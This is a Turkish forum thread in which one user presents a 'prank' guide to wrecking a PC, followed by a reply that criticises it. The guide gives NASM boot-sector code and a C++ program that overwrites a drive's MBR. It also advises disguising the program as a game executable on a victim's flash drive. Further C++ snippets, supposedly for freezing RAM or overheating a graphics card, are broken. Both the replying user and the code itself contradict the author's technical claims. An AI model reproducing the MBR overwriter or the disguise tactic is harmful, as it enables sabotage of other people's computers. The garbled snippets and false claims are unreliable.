5 Dakikada Bilgisayar Nasıl Katledilir? :D

Flap

rubiconnetwork.keyubu.com
Mesajlar
94
En iyi cevaplar
0
Beğeniler
51
Puanları
300
Ruh hali
Merhaba bugun sizlere cok komik ve eğlenceli bir yazıyla karşınızdayım bu gün bir pcyi nasıl 5 dakkada katledebilceğimizi göstereceğim.
Sakın denemeyin ben sorumlu değilim arkadaslarınıza böle pis sakalarda yapmayın küfrü yersiniz basınızıda klavyeyle yararlar.
Hele hele arkadasınız yazılımcıysa projelerim gitti diye bağırıp bilgisayarın kasasıyla sizi öldürür bilgisayarı katletmekten çok kendinizi katledersiniz :D

Türlü türlü yöntemlerimiz var en basitinden en zoruna kadar. Ram yakmaktan tut monitör patlatmaya ne varsa :p

Not bütün bunlar c++ programlama diliyle yapılmıştır yapmak için visual studio 2017 yada dev c++ kullanabilirsiniz

bilmeyenler için pc = kişisel bilgisayar demek
1-MBR'YE yazma (düzelitilebiliyor pc acılırken f12 yada alt+f12 pc modeline göre değişir basarak ordan biostan windowsu kurtarabiliyorsunuz ondan bilgisayarları bilen birisi kolayca kurtarır kendisini ondan fazla aman şaman bişe değil.
Bu program aslında windowsu silmiyor sadece 2.bir işletim sistemi yüklüyor.
Kendi yazdığınız.

Bunu nasm ile compile ediyoruz nasm assembly compiler diyin cıkar ardından c++ compilere gececz:
Kod:
;----------------------------------------------;
; nasm -f bin data.asm -o data.bin bu kodla derliyoruz  kodunuzun adını data.asm yapın
; ardından bulunduğunuz dosya konumunda nasm.exeyi açıyoruz
;
; kaynak türkçeye çeviren Flup forum.gamer.com.tr :http://www.rohitab.com/discuss/topic/41722-mbr-simple-overwrite/
;
;----------------------------------------------;

BITS 16
ORG     0x7c00                  ;Orijinal bellek adresi

jmp start

start:
        mov ax,cs
        mov ds,ax
        mov si,msg          ;SI şimdi istediğimiz mesajı tutan yer
        call print

print:
        push ax
        cld
next:
        mov al,[si]
        cmp al,0            ;stringin sonumu ?
        je done            
        call printchar
        inc si              ;bir sonraki pozisoyna git
        jmp next            ;tekrarla
done:
        jmp $               ;sonsuz döngü

printchar:
        mov ah,0x0e         ;print char service
        int 0x10            ;print char
        ret

msg:            db        "Bilgisayarının anası ağlıyor abiii....! En iyisi kendine yeni pc all abiiiii", 0
;----------------------------------------------;
; Bootloader imazası mutlaka olmadı
; at bytes #511 and #512.
; 0 ile doldur
; $  = şuanki satır
; $$ = 1.instirction satırı : D ceviremedim neyse
;----------------------------------------------;

times 510 - ($-$$) db 0
dw        0xaa55

ÖNEMLİ NOT: KURBANIMIZIN FLASH BELLEĞİ OLMALIDIR İSTERSENİZ ONUN FLASH BELLEĞİNE SÜPHELİ GİBİ GÖZÜKMİYCEK BİR SEKILDE ATIN örneğin ismini
gta_san_andreas.exe yapın gibi kurban oyunu acmaya calıscak ve yemi kapcak.
Ama verilerini kaybetmiyecek cunku eğer biliosa f12 yle düzeltcektir


C++ kodumuzda bu arkadaslar:
Kod:
#include <windows.h>
#include <conio.h>
#include <stdio.h>

void main(){
    DWORD dw;
    char *pathToBin = "C:\\Users\\M\\Desktop\\data.bin";
    HANDLE drive = CreateFile("\\\\.\\I:", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
    if (drive != INVALID_HANDLE_VALUE){
        HANDLE binary = CreateFile(pathToBin, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
        if (binary != INVALID_HANDLE_VALUE){
            DWORD size = GetFileSize(binary, 0);
            if (size > 0){
                byte *mbr = new byte[size];
                if (ReadFile(binary, mbr, size, &dw, 0)){
                    printf("Binary file successfuly read!\n");
                    //ok,not lets write the contents of the binary file,to the first sector of the drive
                    if (WriteFile(drive, mbr, size, &dw, 0)){
                        printf("First sector overritten successfuly!\n");
                    }
                    else
                        printf("Fatal error! Can't override 1st sector!\n");
                }
                else
                    printf("Error reading from binary file!\n");
            }
            else
                printf("gecersiz kod!\n");
        }
        else{
            printf("Ikili kod okunamıyor!\n");
        }
        CloseHandle(binary);
    }
    else
        printf("Admin yetkileri gerekiyor! Gta san andreas yetkiler olmadan başlatılamaz \n");
    CloseHandle(drive);
    _getch();
}


Sıradaki ise ram gebertmece :D :
gayet basit c++ compilere bunu yapıstırdıkmı pc cok fena donmaktadır .

C++:
  1. #include <cstdio>
  2. int main (void)
  3. {
  4. int Fred[500];
  5. int i;
  6. for ( i = 0 ; i < 100000 ; ++i )
  7. {
  8. Fred = i; [*] } [*] printf("Fred[34927] = %d\n", Fred[34927]); [*] return 0; [*]}

bir sonraki kodumuz ramları şişiriyor.
Denemeyin bence benim sucum değil sen denedin sen gönderdin.

C++:
#include <bits/stdc++.h> //araştırın bu olmadan olmaz
int main()
{

    while (true)
    {
         int *a = new int;   // veri hazırlama
         delete a;           // veri silme
    }
}

Sıradaki kodumuz ekran kartı yakmaca aslında fazla yakmıyor motoru ama kendisi kızarıyor ekran kartı ayran kartı oluyor

beyler netten glut.h yi araştırın opengl utility libraryi araştırdıktan sonra nasıl visual studio yada devc++ ya kurulcağını öğrenin ve aşağıdaki kodu yazın o
olmadan hata vercektir

C++:
int main()
{
#include <bits/stdc++.h>  //netten araştırın
    while (true)
    {
         glVertex3f(17,18,20);
    }
}

diyoruz ekran kartını ağlatır


evet kodlarımızı bu kadardı denemeden önce sanal makine virtual box kullanın sanal makine pcnize zarar gelmesini engeller

sizde kendi kodlarınızı veya düşüncelrinizi yorumlarda paylaşın
 


Admicos

Nether Yerlisi
Mesajlar
2,362
En iyi cevaplar
1
Beğeniler
1,580
Puanları
4,890
Ruh hali
1-MBR'YE yazma (düzelitilebiliyor pc acılırken f12 yada alt+f12 pc modeline göre değişir basarak ordan biostan windowsu kurtarabiliyorsunuz ondan bilgisayarları bilen birisi kolayca kurtarır kendisini ondan fazla aman şaman bişe değil.
Bu program aslında windowsu silmiyor sadece 2.bir işletim sistemi yüklüyor.
Kendi yazdığınız.

MBR düzenlemek 2. bir işletim sistemi kurmak değildir. Ki olsa bile çoğu yeni bilgisayar UEFI kullandığından partition table'ını bozmaktan başka bir şey yapacağını sanmıyorum.

En son kod hiçbir şey yapmaz zaten. OpenGL'i initialize etmeden o kod hiçbir işe yaramaz. Tabi compile edeceğinden bile şüpheliyim, ki include satırın yanlış yerde.

Buradan çıkartılacak sonuç: rastgele kopyala yapıştır yapmayın, "ben hekır olcam pece patlatçam" etmeyin.
 

Flap

rubiconnetwork.keyubu.com
Mesajlar
94
En iyi cevaplar
0
Beğeniler
51
Puanları
300
Ruh hali
MBR düzenlemek 2. bir işletim sistemi kurmak değildir. Ki olsa bile çoğu yeni bilgisayar UEFI kullandığından partition table'ını bozmaktan başka bir şey yapacağını sanmıyorum.

En son kod hiçbir şey yapmaz zaten. OpenGL'i initialize etmeden o kod hiçbir işe yaramaz. Tabi compile edeceğinden bile şüpheliyim, ki include satırın yanlış yerde.

Buradan çıkartılacak sonuç: rastgele kopyala yapıştır yapmayın, "ben hekır olcam pece patlatçam" etmeyin.
1.si ve 2.alıntı 3.bana ait.
Ayrıca kodun tamamını vermedim buna yabancılar code snippet diyor.
Analaycağın kodun küçük kısmı asıl işlevi yapan kısmıdır.
 

Üst